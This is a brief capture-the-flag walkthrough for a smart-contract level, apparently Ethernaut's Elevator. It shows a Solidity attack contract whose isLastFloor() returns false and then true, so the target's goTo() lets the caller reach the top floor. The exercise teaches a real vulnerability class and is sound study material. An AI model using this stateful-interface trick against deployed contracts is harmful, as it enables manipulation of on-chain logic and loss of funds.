00Overview
`goTo()` calls `isLastFloor()` twice on a caller-supplied `Building` interface. By implementing `isLastFloor()` to return `false` on the first call and `true` on the second, the elevator reaches the top floor.
01Implement the Building interface with state
javascript
contract ElevatorAttack is Building {
bool public toggle = true;
function isLastFloor(uint) external override returns (bool) {
toggle = !toggle;
return toggle; // false first, true second
}
function attack(address target) external {
Elevator(target).goTo(1);
}
}02Level Completed

.png&w=1920&q=75)